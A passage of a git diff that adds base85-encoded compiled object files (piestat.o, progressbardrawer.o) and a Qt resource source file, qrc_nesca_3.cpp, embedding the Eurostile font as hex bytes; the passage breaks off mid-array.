z!}WZG;atyG8QzWAVYR~D_S|9Me`Vmu`5+XByI!>S3Ajx?I#=Pu=lb+A@CP!S`|}Vc zhu4cyjK9Q+_|;_$=W?!QIIkD06z;bF28EOU-2U${oR{xMOb)LvUof2e&$kMva#?|o zt{2^Du!4hd-X8X6IM=_F;oPrgDcqf}jS6??Ycs>SU+rP?S3)PPr{{FivaOz-7|!(^ zt8mh1J3d;@<qZFb;Zqp?F~e(^d|tlSGd`Cylksn1a%MCB4u;>s_+0+|2L3-7pUYpW z@Hois&g8$t_<Y>Bi{X6Sc>EcNjDzHygO9e`pA=4h!sTQ$oXaU;I3J%p#&FJmPvMmA zxh&mQ#^>qAr+|cm^x<++7|zo@SK;Ijcj2S+m7#D-_aTN~W{`8e0l&|H<DX)SBLUxB zpX~<xHv?`{XODyQ{{$bc|IrF3{dqm=#rU5xeulzHpU)URknulf_!!3jg5kvmd^MA^ ziSgfI{GAMc&%oc#_`4W?uYv!Y!pRQ18UJKz#Bq?_!uV*r^-?(5VGqLxFh19RFvGe1 z$1t4R?Q$lc*Xt67^ZI*@!b$%>F@0t+KKK7y8P5IxbtZ?`qc<6!%h}3sF6T#vbHCL; zQR1#gN1Y9&aghGJ9;GUr?9AniG~iVR{5pkGy1ZOwGkz=X>GHje@p*YY!EoL`zRhqh z|6PSszQ`n6{x=L?&G3T^e~aOl)1U;0TmN!}ll(XE(ekfnIQQp!82%pPzprqz^G1eG z?v4u_gm1w|%Wq^jpYP0PIOlhz&Hx9=;p3lP4Bv};TK@A2r+jfe_c1<~FB*L%pW{c9 z6UV@xVmR05HHA~UJ@C=`tTpi8RXCLkpVxoK_<UY}5>-wdWCxC)qi{+$6(61MK*pcX z@QWGF>)rKC4w*{JxtZ~~oCg`s<*Z=%%}maIhI9TYWGoz{|9SZ6bk9*Z<(H>>5yQEh z0*3Q+OBGIb=KXJt!YSPcS-SHLa$Yjv?-}qP40snRBpj44u4jJ(K8oRd+&f<3r2kv^ zXuC}^@XHlWcG$%DyO|u`p2SgM;2`<b4&WbRiX)lfX~1>5Cn}usbqmA0E8K1WzD&;F z8UGR{huh~$#!qMbDU8q4tz`V3j6c)Bznk%wGX4_A=lX0j;GZ*`m)AE6Cp++Uwu6ix zV(A_-@Y|8mak%X~!hru-;Z%;j@X_TpoAG)5x|`v=el1}*x5M`g=lo--kZ_Qmd>t~I z;VrnQ^|_qkdl_EOaGvf%27HwP|IC0VkaOU0*T+1DZ^3=7=R^ZuX~56uBgBh()SJmU zSK*W{??=vOd^*+X;uSb?xcOrkzc1roZs1R4{C<pI$N0P+1r+YCzqc|uy#7AV<nZ!Z zVvw_v@xNsHyw7m%4|w%W9ApPxE>juK>(Px2f0xOB+<>o9IOX>%#_vML!a?aa<D<)E z6vKIbA7MD>Z&o<fN8ZkS!}wfI=L`^WP`VsHN#X8tIfL=<MjWkYF2kQ^_+J>#>*IWd zyW6V=8K3)YGsC%_$M;8KINWwiRXEw<IefI9GY$NCj892v{u7MP+p)zAzm@TKGdXms z<^0O{Tuzq(AmJeWxt#tC=lQ*s;hg^ug;Rd%RHwU$@p-y$GMvlV%W$6V+2=zj4!53T z6;A2WsZO_$@p-y47|zqZm*G6!RSI|e;SPmUy7#ekJs02thufb|H{gQ}c(DO*G~kaJ z@MZ(P+kkhtFt+~Z81P{R{7QwBeg1`yE|)6C=k3*IhOcM*PZ+*|;a@WOloc)iC&uUH zZeIiv4!8gGR5<BLQMH_bjL+rdF`WC)G=_8ksa3e!e`YG2()~M2_hEya)du`?1AhBJ z2*p9^evXgM*L?~nJMezwQHJyW@i~Q)o|Kf9vySn(eKs+i+vhhXhfcMeBQkM;gY@BY zx?~dCw!Hdh3b;-E%2c@9&chW>`t$XZ3WZa;yu9Wb@I?mv6@^o}d_Ck%hHt|?o!@U6 zzJuXMW#Iw`>9Y|Z&F`adlK&CI3k>{?jK7KT|D|xU1D^+NGw{D+{5P1K?--uR@Lv^9 z`Y&PlQG;-SgVH66&e!n@CqDPLvlQ+w$6id%Lrl(CCWn{fBqnDu<Cic#_y2MOzlQO- zp0674-3pIGntVQTfbqGXA2}FA9ApPxUwSZ{=W8OvIsZC_^YPDP4CmvY*BHJRY3p+N zjNv@pgly7M>dEml4fqfPew6{QP&k!4FRvQL=jC<1fj^V+d3im~aIXI<hHpXI+74C@ z<yPjGr+YlZdH<DRz=tcG^2Nv74>5i-?&)+>hfu0AU5;O_aPq6A_-OtOjL-A+cLV;2 z!rk?2A>-f8<iE#o?pGa$f`lUhAMRIO749y_G{)!c!$gMP3|Tr~&oI21;p-Jnc6g5A zC;4%KgY@D2a}-W|s)AbnAjaqQ@e+pf`W0Yu__%rw<8wKWGn~s=&+wa>J{@v#frIqt z{Jsh&{b^{d_0ME{p6&#Ob2)!zI8XOwhI9T$3a4~wsH@X$Wqh9QL56cVCtQrkI4EB{ z-7JN70Dc!fTK*)3Q@VUyJ<}lPVFSL}fPZel?O{j|hg;9H4ERt3KE;3s4fs<A{7nO% zofpw_BTlv5P8%7)*E2kg;Tsr!fx^ko)Z}Y9xs1=tcPzts`Oai=`1pAa<8wLpF`Ua; z#>@s}=6{lNN=O{(SuWwL#9&`5@wOmv1ivK2YH#KN}y%K8(-%mrE7y*0Y4k;d;(u za(I4kV|?l&bh`I4K5svtVti_<HUD`7znSreGX56EZ)W%o#;2xB%m0$`dHEh>I4|Eb zM<Fr}vS%(nT24=eQ@L<CISl7=N*T`WHcjDf`%hOmrOU^S_ZZ|XHQ*l_@V!hvH7z<{ zUo$>0uXdwB!a@2_71#VD6i#;Fd>`Xe)z|zp4g3L&Kb-LgF@6)na~1Bk+gK)t`|TA> z&Riy^h{@T+@Jhzt$?$6p{J${%F2)ZS_@9jf2?yD81U}k6tqOPB^UCqWmhAwy^EC|T z<GSezC;RNfN6T+vd|qGPXMEnTeX4NM^Pfyk{3W=+L3(n3?schvMZTy>)9Gd^ocQ}0 z?q~Sd3@>Lmm;VyOx&Esdet^l@$MA0$o_rZDaJcn9o8er~0SYI3ev6OJS0UqbJ!dkU zx3~8&{5vLRDZ{y(Z4Bpf!U}i$|F;Tvm)EfqkQfeke)}5mOAPo9hHr#CZHLDu3h`~^ z$6qON(vz<PBr2Tr`3xT|$IJLT817^IFBpD~f!~Mmzi0fL8NP(!cPX6gMqPo{=RpJi zpNvmUrsgkUd|qDb749ytcbOdCUJWgPP#k0*?&l*E?v`_z!rkS5CzHed>VrZdUdZR| z;U^5g4HTWPuNcnx2Mu`K<k<4P2K;0L-ra!rHQ<8{c%A_tZ@`NT_*8~-`}~>V+&&Eq z=lppL=lll^_>%^Fu>s$1z`tNP*XIDkxjsKJobx*u#V+5|40xIWA85cwF+9lpu!!MY zUOdNwee^KUWW4=|jk`wYXmoaF|5lL7zCfd6X1I~K>b^9ct0TmwGTfR8ocMFzau zfX_7GAp?H50sq8+w;J$+2HaB;+io2g&i&*#hVydo$#7oo0}S{uhI2VH7|!MV!+<X~ z;GY`sZw>fGrLpbcH{kgOe1ZWlHsBQoe7XUzXE-mH2N}-o_NoD2Z@`nTifxBX1Aegq zzrui*81PC1KEr@F81N<oewP7%km1~(3mMMs`L+T7$$)p665E~w40xUazuthqZoqdK z@cj(u_3j|Uxg8SABKmWF3d4T@MUQ{d6y5=t?TPHW%V+$9jE^6=6h{KSgABi#;as2V z7|!_thV$~e)quak@S9n>KPo&9*l31(uEqrp(vy#eJ1Ly_WAM>-IKjZ5#qhn1f3E?5 zis4%rf29Hckl`W5|5D){fbn_jcZ|P~@e`-w0te-n&zHRlr~LBgUnepCkGQApkjnU7 z8GaGN$1?nKhI9Fo4f1bh{Ii&xM;SlF@Ru0g%<yFjciU%!!YRK`GX5SWhx^Yj4Cj8B zP>#qr$e!Gv=O~=y(~^d^+ntQh{p~TvrzHo?f7ZZX&G@twq4{qzK3^}|tZ=s-wlg_= z{`Ccu!}I$!<I~cDPWMN~=lSX|4I~_7hs*HM{7wpY*SpggpQhTH-`&6;$Z%edE;Zm4 z20UQE-(@(jFaK6J<%{e2IpcFX#8rTZgYw&ikIvU|3MV<2GyGJ>zk}gD82<`}XE6Tl z3?Ha)ce!88<UGXqqnR9D?h_1nu>qgT<fk+FHH^>g@K*yqhsmKO7HzjX8K39(A;w?I z_)juE&({kE{8a<Kk;$i}3$4!<#^>e!Ipfn(gy!!x@PA_XPmF&=B`$D~|NM-PmUA@2 ze_{Bk3Maps#PG8ipWDBO!rgw7!Q}Av!O!H(W%7qJ{8xtmnc*84{#S*Qp0t#r^VP)o z-2dk*+^y$>OwQv>&f`qZT!#PCfWOG(yv6wI4Ez=Yo>+y*INbI9WQDuydkW+8{Ptq} z$&jb*a}ncn|Ibml+dlbB4zKT*GC6aZ{7DA<Y6E@^lh5n>494gFHrs&DXL5Lc?`M3T z-^UrB*Y_6~PD=~gZm%*qyq><v_{EI>F9ZKG#;2*LmfvdN|IGL_MbrHFYjA;s{DkY1 z%W&SWl^F2r4EVzg=l$1{3MW70`aH+@T%Yv}4<U}$e=oy%`5svf5)QZjpQLa~*N=~u za}MKk|MxTgRg9m{_}m|A7(S2j|HkCdlt`z07vpm|4=CJSkDg|7cs+WF$>H^Al>vXp zfNwS6yAAk0g_AwgS-yT?d|ob{YCyu_E*GD|-R07U@p-vqGd?eu%NYN5q@(RTmEpWx zZeVhFxy)pIE@uwo^ZI@_<8%8zY`_;9@Rtqv3Io30fNxPa*>g9u!{-byWB6Vshu6EF zwIJc3^5X5l2m?OJfZxh+-VWTYaPsrF@zLeAkn!JP_}2_?X1G;{3ml~9Z}@0AM=_k2 z%kc*MJce_>%~ZJCKXVxW4wmkC#;2*U*5`7@zn$Te74EL@l}rw=?=zSjp05T2-ekb< zVe)zXeSq<~9hMmIx0oE>uD;9ocd-118K2wdYsTmH`Hk^;y=!+ZgyNub=XOXo;3pdJ z6a${2a4L72g6ne3WPDy<@)@6|q?&)Jfj@=ur!jt&f&VhYw=n)@1OB-I_g;s{|EI2V z3$ZB*<M<ilK7+}1atpbQA`=fI)X^v&Cbv?eG-^uJ#DmLVCiCDLia}{mJjlxsg@^~m zNV#MlCYL5k5#?b#DDuGi@BMxGwY0ukv)B2Z-+cR9Yp=D>9;p*T^VS`j*E!mFydUSn z=YHG+&i!}@ocr-KIIq|F1iuZ=b@;@1ydR&zKZ|j_hOa+ye7qmvbG>~w9`DER$iw~k z3wb!M(xz~-5b^pPlHik#Yh2qx^E#{GbG<EquSY!hmn8fq_<D45zZE{``LOYL9@>zH z^U#hwoQIACf0^KK68vL=m+lFJ2@%ipMB|!IJ(Bo%r^DxXXB&^lTZ23tZxMMo-evH4 zUtI~G=iLCGb=D{RM)<rR?uO5L_9yru;~MW*%+D?GKj0O6!;27_=jWmMd^Q+Yo-Xih z#x?(sz<0ra41NsxS^vcZznb7T6a0RHcP99Y1b>&{AHmx&t~vX{ixBbpT$td?6MS`o zZ%pv_3I5Z#u8SW1{5lqzRb^i1y>N71VO+i*!JJnn{3`hR=ytyvKG%PZ@p#|WA`k!l zXA`(S;ynKr<Y)am;p<lIeoMk{gRfhT`|a>q|7GKG{T;}|`tKkQ*LgSm9-Ozwc$~j1 zI0~(+bD?>izx#>iydxZ)m-WwZ=3fW@f_liu<a*{GhCddZe~(WEKMp^YX9oOJ@E3t| zewKoBf6W7DJ+<IxLf_|M1vt;U8Jy$QwNu3V_ezfc<JZ7h=VWl!ITxIDE(B+tYrr`_ z>%n>6Qsdgc8iSgmJU?WwOG^ID&j{mMZ+*c1x+_m9xQ{E&KMVQ$!Z%z9sNm;vrla@~ z0C$xCAoxt{i`$aVNHw@E`HZXsA7FhQTCJ}<1Ff&aQR|CqE<Ci?6yk%kUjE~<^~HT} z3Oxn)ITz{zA7cINpa}?}JVUcy{$mjMFz_01{f<Xn#4GHLwcyV5)&cM=kG(ztF5hc< z0G|1F@=kF1<CQ$bH*l#Z&Hn)|->>U<dtV2&Nw$!ufy<vCnxYO|-5chw1(#n8P0<Xl zZqYWzL2&tXl0$TWtNY6Q+u-tjo%MjLTW^c>6S(|_&=loXuijScHQ&eWykLuZe&kme zUktAN+e1?{fGgJ}^BckC+s8rSF1UREGWS;zpQK+3@fKW2|5rmX(&owQUo|}E6TszH znZE-(t8-NDw}8vvYW@T8%&*M-PH_2`%=epx*V8*L_x=07oY&jJE!uT({?Pb^h!>~i bd9Hx#ym#%qemy;pe?R>|yAI-huT!SKN0#ry literal 0 HcmV?d00001 diff --git a/piestat.o b/piestat.o new file mode 100644 index 0000000000000000000000000000000000000000..c37781febf574f0633b49faab129710896e09b86 GIT binary patch literal 3384 zcmbuB&u<$=6vxMQ+5~7fp->2vQX>IM5n07FZA~j^)`=YlOjBx`qS9uyi5G0)U-E83 zia@QDf)FMUiAzqX{{RvPPE{oi1tJb`;s6H(2M$Hz01`(~dEeQ2?qu;IA)d5(Z$9&W z&3Jbv7qf+2JQfoyG4ZsxHDW5nX8e{tCCw=@B6f>>cLzrKZu%GK4eN~cf>pLk<zjyA z*P(oOKj@|7V)*hEG78<NFfMct2WmV}k3i+Sax{G45=L{~6E~n${?GoPrmU@<K-N|k ziuAz4&}z5^oBjXOKo+7Nm*35=eLnQkdFz~Y-deEi>&Uk*JH}#EKf!o?udKE%7lJUk zd@v=m)6>V2W3wmA2a}U#+B}qeVj?v;@nkBM96Rk+l6l7u`1sL-h`3vY#a=%xVyh#u zeY*ySHfYTw#2-*|!%EMPo>2DJ&>3UogLuXmeLs;glIsH*W9+>hmND`6PRmHI4bB)- z@lTC30m~R82Xdr<j4?Dyp{pv73H_`wvS17a#PlvSd}mRZp5F;{m936jcTC@1^@Uk+ zd`Fmzo+r#6r3k0vFSiw{HEX`@bUMxjVJ@{A4Yx^g&6e+)v^nGCyY#B^bgTBu9jD={ zmj0JYQZ(LU`Nn9Orj-4I#$aNfb=gOQ0Uap&r`rRgisU2)Juua-3G6B4QF_1=7-*7I zaT=0lxYpxDkuxejoF*K9gks?nUO(5Dzc<aZgx8;<iEvK%=63}V8-bGR#|aQ#{~R&w zO}PJ4s&V#LX?pQIo*|=O{qIzL-e=Spq=)k{FB3y4{!Yl0@}jCQ&l-lL74GQ;jcIP; zEq2slA74)~?bwtN@2Gg*KTgB_^SDVyzxDs7)}L37SpOaLa6GU7PGaG`N64sZ=uHeX z2`>xdaPM&6<QGaM$C-qd!u4+>*0261CP-#O1w+HYsn1{d4T#@w_L-u3{j((cc7p!; z?Jzjr=<TwbhH;IXYWg_on3hNHAR*t(?RhXt2z7{rrV{d(3_<CyHcgv)hU`7sdiids z5f6XM2)h`;FGui?h$BDelJ^X;Pa^!UMeyqp{L2XbRRsSgf`1#qzmMQQM)02__>Bnu zR|MZnF97cux%6Zlyw3-9EW%&3YcAc5zPZ$H3wyROpRo$I?JY0bbGCi<<k3?#w@A~e z!<AOHQS-}fx`|za*%e`*E&7GDZP!}3dTIFY-YWNeE?3N!?2?r!WNp#*O4V(V6W;a` zy_|<S%S|e(`pMOuSA^AUHKtSIOipAhk*n2xF~8z=>Y~tktuCy3ZN(MEWv?wfFR1Z+ zsoHU!%8`awcincjfx<;UU2A#vqT{)fbF_@<lw8?A_>AOs#cSDBr&+1H!nT)I9h-Jz zl@{Oo^6>@Xto-w4AP=cu1{`N4bKHB7uzxzhlJ6m#{ZDB8E{*3jj{oi0|2d80Ur6TX z6vv5#Z<+a$;^^ldjen@|do_MV<G2er&&L|SPvciLe!s@QP#pc>e<99;y9N^Olh1m* z;+SK9bzMn@|6`eBuOL|0etMXr2MF>!NDp)Vy~6n)gEI+g9-xQ)!65W`X{WXjNk9_h S!NW4C4Ced|zoBvcR`?tK?79j7 literal 0 HcmV?d00001 diff --git a/progressbardrawer.o b/progressbardrawer.o new file mode 100644 index 0000000000000000000000000000000000000000..9045dd554f9b502921a5e5021f82b781e46fb922 GIT binary patch literal 3032 zcmbuB&2Jk;6u`%Jni?ouw@?TaBqQ;WBC@iHo0#&UtP?wHVVY9gNEDjU*q+!H{#fm< zgNuZS6j2EoBmWs(xN||MDhH@k32}lO+=9d<CoV|kz1f*~vssG+Pnyh|-@Nzcz46R! zKFgO1(MW_SiIBI*bfhRD+2~YX6Y3gCkVlC*I)x*1l>HO?iSeFMH7eDzIeHeyd#@As z{nF?%>ZQ>VcHd$6(&z=$cP8H-#0WV+y;z?wj@}`~(Hqa3<GDT2?))A#KmW-*yKz7L zi~0BA7h)}84S@%DKe%apXxucm@1nma=J-ui%>BRO!p<Cd<M9Q7$08GR|A)9p*Ygp7 zH`mv%Bo{ZYRxc$pdRAXfzM4vBQm>`c$;Iouku;g>@uk&EX#co$jeK&QM23mT#WSbl z6R0c!{24iSR`yxwQ&Qi>KBpzVisrP1aV)1Lznn9)#oMP0Eww)%-O&~eEeTU#lGEbe zIvwe&WB<06*v1Lnxz%-94SLu1`j*mc-eJ1Shc3|@%w<HcIS$c}D0nd29as{zdu^98 z+h(_jUhj9iya#^0zRPvkj3uzGe<Uq=i|*L0%Vj$Mt4o469)$Tolr=fN9pJdHez^#P zIX{qk;$ctuRgN|2aUIw(Aq%p95qjis`i{wu$41jZaIIHh3S-Xl7bkV<ej?Wum<y}_ zXXzt;YoC9x{xr-5b3*e2S^q@(V*Qv)u>K-2oD1eJlJePuDn$9K@dhYi>kl9CEYv>Z z8mFNtf5of7u>KS@zr+!Oh^N9+#b1e4dSn}@Vm>o+IShu_I+FRGH4!E&{rALZ`bXuj zNDq{-`X{n}QyOCZh?Kvo{~WLrdk^eex&Ei1`z2Twj)S?QeO6v5OHSe&bOu^*{fB^s zt^c(&tOXVf48c2G&~A<#J_wtQh5llgM_4Av!*&>X@OBaMBrF*9aa|@*fIb3oR3v{L zF>x|aW*Q^%5(TDW;+G6S7{&<h=5fLEeco5E`W6g;2k$a^j%IMY$6@y00LS=hPJCB@ z-J4<m+YJ8441PF+&%*|uJKD|Z9asRaask&PNzLFU@{j{uoncQbyWh0A<J6elu-V7l z*6Wr<=w@jvXOt*)1~pow^v2cn>b0rmhOk^2SnwU>`CUS9l-*L6(sm!edNBMCa~XZB zP$=gsv|{8+c}lEWr8UEK8CDX@gvDL92R)c<cKS8eDc4!A&|yu|?lt(Zc#SkG%x-em z+1lkc>vV8|)psi`o3qAB*XeL><+}p*xKn3zIb(6Vo<~x4v+ce^Ys}%9B9yhB_EHG) z4Z&%{>C+bLH9DM7S|2hBTQh{s@I>82Jkj`e{qw*R{NAD<$G1!Imk@#=KMzfDb^nk* z=HpjDM+wHqdy0bh6#utUary{B@TgpXrnt%%?eT6YE}vf!$In$=7)QMYpo+H<dt^^Q zQ*kh76wDLf7R8@N2!e6&Em!<GgdoBAFMC+Te+qPEFR^$b{I6M3PGB5tN-|PWT-`Ox I$Nh2s1!iM)ng9R* literal 0 HcmV?d00001 diff --git a/qrc_nesca_3.cpp b/qrc_nesca_3.cpp new file mode 100644 index 0000000..fc3a379 --- /dev/null +++ b/qrc_nesca_3.cpp @@ -0,0 +1,2473 @@ +/**************************************************************************** +** Resource object code +** +** Created by: The Resource Compiler for Qt version 5.3.2 +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include <QtCore/qglobal.h> + +static const unsigned char qt_resource_data[] = { + // /home/kvs/Documents/CProjects/nesca/Eurostile.ttf + 0x0,0x0,0x94,0xe4, + 0x0, + 0x1,0x0,0x0,0x0,0xc,0x0,0x80,0x0,0x3,0x0,0x40,0x4f,0x53,0x2f,0x32,0x73, + 0xa3,0x5c,0x6c,0x0,0x0,0x0,0xcc,0x0,0x0,0x0,0x4e,0x63,0x6d,0x61,0x70,0xdf, + 0xaf,0x10,0x9e,0x0,0x0,0x1,0x1c,0x0,0x0,0x3,0xf4,0x63,0x76,0x74,0x20,0x3, + 0xbd,0x3,0xbb,0x0,0x0,0x5,0x10,0x0,0x0,0x0,0x8,0x67,0x6c,0x79,0x66,0x41, + 0x12,0xca,0xa2,0x0,0x0,0x5,0x18,0x0,0x0,0x7f,0xd2,0x68,0x65,0x61,0x64,0xb5, + 0x1e,0x7f,0x29,0x0,0x0,0x84,0xec,0x0,0x0,0x0,0x36,0x68,0x68,0x65,0x61,0xd, + 0xea,0x7,0x1b,0x0,0x0,0x85,0x24,0x0,0x0,0x0,0x24,0x68,0x6d,0x74,0x78,0x40, + 0xc,0x72,0x7e,0x0,0x0,0x85,0x48,0x0,0x0,0x4,0x38,0x6c,0x6f,0x63,0x61,0xc5, + 0xcc,0xa4,0x28,0x0,0x0,0x89,0x80,0x0,0x0,0x2,0x1e,0x6d,0x61,0x78,0x70,0x1, + 0x44,0x1,0x7c,0x0,0x0,0x8b,0xa0,0x0,0x0,0x0,0x20,0x6e,0x61,0x6d,0x65,0xf, + 0x1c,0x1b,0x8a,0x0,0x0,0x8b,0xc0,0x0,0x0,0x6,0xaf,0x70,0x6f,0x73,0x74,0xba, + 0x4b,0xc9,0x33,0x0,0x0,0x92,0x70,0x0,0x0,0x2,0x5a,0x70,0x72,0x65,0x70,0x56, + 0x5f,0x67,0xf9,0x0,0x0,0x94,0xcc,0x0,0x0,0x0,0x18,0x0,0x0,0x3,0x4c,0x1, + 0x90,0x0,0x5,0x0,0xe,0x3,0x54,0x3,0x4a,0x0,0x0,0x0,0x0,0x3,0x54,0x3, + 0x4a,0x0,0x0,0x3,0x4d,0x0,0x82,0x2,0x12,0x0,0x0,0x2,0xb,0x5,0x4,0x2, + 0x2,0x2,0x5,0x2,0x4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x55,0x52,0x57,0x0,0x0,0x40,0x0,0x20,0xf0,0x2,0x5, + 0x55,0xfe,0x66,0x1,0xde,0x6,0xee,0x1,0xac,0x0,0x0,0x0,0x0,0x0,0x2,0x0, + 0x1,0x0,0x0,0x0,0x0,0x0,0x14,0x0,0x3,0x0,0x1,0x0,0x0,0x1,0x1a,0x0, + 0x0,0x1,0x6,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x3,0x0, + 0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x1,0x0,0x0,0x3,0x5e,0x74,0x76,0x50,0x86,0x6e,0x73,0x6a,0x6b,0x72, + 0x78,0x58,0x67,0x54,0x66,0x4e,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x55, + 0x59,0x9f,0x7a,0xa0,0x60,0x75,0x5,0x6,0x7,0x8,0x9,0xa,0xb,0xc,0xd,0xe, + 0xf,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e, + 0x6c,0x88,0x6d,0xa8,0xaa,0x8d,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2a,0x2b,0x2c, + 0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3a,0x3b,0x3c, + 0x80,0xa9,0x81,0xac,0x0,0xaf,0xb4,0x22,0xb6,0xbd,0xbe,0xc3,0xc9,0xca,0xcb,0xc8, + 0xcc,0xcd,0x44,0xcf,0xd0,0xd1,0xce,0xd3,0xd4,0xd5,0xd2,0xd6,0xd8,0xd9,0xda,0xd7, + 0xdb,0xdd,0xde,0xdf,0xdc,0x70,0x77,0x51,0x4f,0x6f,0x98,0x7c,0x40,0x97,0x96,0x7b, + 0x8c,0x89,0x9b,0x1f,0x21,0xa4,0x84,0xa1,0xa2,0x53,0xad,0xa7,0xa6,0xa5,0xab,0x9d, + 0x82,0x83,0xae,0x3d,0x3f,0x61,0x5f,0xa3,0x9c,0x52,0x9e,0x9a,0x63,0x62,0x57,0x4, + 0xb1,0xb3,0xc2,0x20,0x3e,0x68,0x69,0x5c,0x5b,0x5a,0x7f,0x79,0x99,0xe0,0xc7,0x85, + 0x7d,0x65,0x64,0x42,0x43,0x71,0x56,0x7e,0x5d,0x87,0xb2,0xb8,0xb0,0xb5,0xb7,0xba, + 0xbc,0xb9,0xbb,0xbf,0xc1,0x0,0xc0,0xc4,0xc6,0xc5,0x41,0x8e,0x91,0x95,0x90,0x8a, + 0x8b,0x93,0x92,0x94,0x8f,0x0,0x4,0x2,0xd8,0x0,0x0,0x0,0x48,0x0,0x40,0x0, + 0x5,0x0,0x8,0x0,0x7e,0x0,0xae,0x0,0xb6,0x0,0xff,0x1,0x31,0x1,0x53,0x1, + 0x61,0x1,0x78,0x1,0x92,0x2,0xc7,0x2,0xc9,0x2,0xdd,0x3,0xc0,0x20,0x14,0x20, + 0x1a,0x20,0x1e,0x20,0x22,0x20,0x26,0x20,0x30,0x20,0x3a,0x21,0x22,0x21,0x26,0x22, + 0x2,0x22,0x6,0x22,0xf,0x22,0x11,0x22,0x15,0x22,0x1a,0x22,0x1e,0x22,0x2b,0x22, + 0x48,0x22,0x60,0x22,0x65,0x25,0xca,0xf0,0x2,0xff,0xff,0x0,0x0,0x0,0x20,0x0, + 0xa0,0x0,0xb0,0x0,0xb8,0x1,0x31,0x1,0x52,0x1,0x60,0x1,0x78,0x1,0x92,0x2, + 0xc6,0x2,0xc9,0x2,0xd8,0x3,0xc0,0x20,0x13,0x20,0x18,0x20,0x1c,0x20,0x20,0x20, + 0x26,0x20,0x30,0x20,0x39,0x21,0x22,0x21,0x26,0x22,0x2,0x22,0x6,0x22,0xf,0x22, + 0x11,0x22,0x15,0x22,0x19,0x22,0x1e,0x22,0x2b,0x22,0x48,0x22,0x60,0x22,0x64,0x25, + 0xca,0xf0,0x1,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x10,0x0, + 0x0,0x0,0x0,0xff,0x4f,0xfe,0xc0,0xfd,0xc8,0xfd,0xcc,0x0,0x0,0xfc,0xeb,0xe0, + 0x55,0x0,0x0,0x0,0x0,0x0,0x0,0xe0,0x31,0xe0,0x57,0x0,0x0,0xdf,0x59,0xdf, + 0x88,0xde,0xa5,0xde,0x94,0xde,0x96,0xde,0x95,0xde,0x70,0x0,0x0,0xde,0x86,0xde, + 0x72,0xde,0x56,0xde,0x3b,0xde,0x3d,0xda,0xcf,0x10,0x41,0x0,0x1,0x0,0x48,0x1, + 0x4,0x1,0x20,0x1,0x2c,0x0,0x0,0x1,0xb8,0x1,0xba,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x1,0xb4,0x0,0x0,0x0,0x0,0x1,0xba,0x1,0xbe,0x1,0xc2,0x0, + 0x0,0x0,0x0,0x1,0xc2,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x1,0xb6,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x0,0x3,0x0,0x5e,0x0,0x74,0x0,0x76,0x0,0x50,0x0, + 0x86,0x0,0x6e,0x0,0x73,0x0,0x6a,0x0,0x6b,0x0,0x72,0x0,0x78,0x0,0x58,0x0, + 0x67,0x0,0x54,0x0,0x66,0x0,0x4e,0x0,0x45,0x0,0x46,0x0,0x47,0x0,0x48,0x0, + 0x49,0x0,0x4a,0x0,0x4b,0x0,0x4c,0x0,0x4d,0x0,0x55,0x0,0x59,0x0,0x9f,0x0, + 0x7a,0x0,0xa0,0x0,0x60,0x0,0x75,0x0,0x5,0x0,0x6,0x0,0x7,0x0,0x8,0x0, + 0x9,0x0,0xa,0x0,0xb,0x0,0xc,0x0,0xd,0x0,0xe,0x0,0xf,0x0,0x10,0x0, + 0x11,0x0,0x12,0x0,0x13,0x0,0x14,0x0,0x15,0x0,0x16,0x0,0x17,0x0,0x18,0x0, + 0x19,0x0,0x1a,0x0,0x1b,0x0,0x1c,0x0,0x1d,0x0,0x1e,0x0,0x6c,0x0,0x88,0x0, + 0x6d,0x0,0xa8,0x0,0xaa,0x0,0x8d,0x0,0x23,0x0,0x24,0x0,0x25,0x0,0x26,0x0, + 0x27,0x0,0x28,0x0,0x29,0x0,0x2a,0x0,0x2b,0x0,0x2c,0x0,0x2d,0x0,0x2e,0x0, + 0x2f,0x0,0x30,0x0,0x31,0x0,0x32,0x0,0x33,0x0,0x34,0x0,0x35,0x0,0x36,0x0, + 0x37,0x0,0x38,0x0,0x39,0x0,0x3a,0x0,0x3b,0x0,0x3c,0x0,0x80,0x0,0xa9,0x0, + 0x81,0x0,0xac,0x0,0x4,0x0,0x5f,0x0,0x51,0x0,0x4f,0x0,0x7d,0x0,0x53,0x0, + 0xec,0x0,0x6f,0x0,0x89,0x0,0x96,0x0,0x82,0x0,0x63,0x0,0xa3,0x0,0x67,0x0, + 0x97,0x0,0x77,0x0,0x84,0x0,0xe6,0x0,0xe7,0x0,0x8c,0x0,0xad,0x0,0x7c,0x0, + 0x93,0x0,0xe5,0x0,0x83,0x0,0x62,0x0,0xea,0x0,0xe9,0x0,0xeb,0x0,0x61,0x0, + 0xb1,0x0,0xb0,0x0,0xb2,0x0,0xb3,0x0,0xaf,0x0,0xb4,0x0,0x1f,0x0,0x22,0x0, + 0xb7,0x0,0xb6,0x0,0xb8,0x0,0xb5,0x0,0xbb,0x0,0xba,0x0,0xbc,0x0,0xb9,0x0, + 0xe1,0x0,0xbd,0x0,0xc0,0x0,0xbf,0x0,0xc1,0x0,0xc2,0x0,0xbe,0x0,0xe8,0x0, + 0x21,0x0,0xc5,0x0,0xc4,0x0,0xc6,0x0,0xc3,0x1,0x8,0x0,0xe2,0x0,0x40,0x0, + 0xca,0x0,0xc9,0x0,0xcb,0x0,0xcc,0x0,0xc8,0x0,0xcd,0x0,0x3d,0x0,0x44,0x0, + 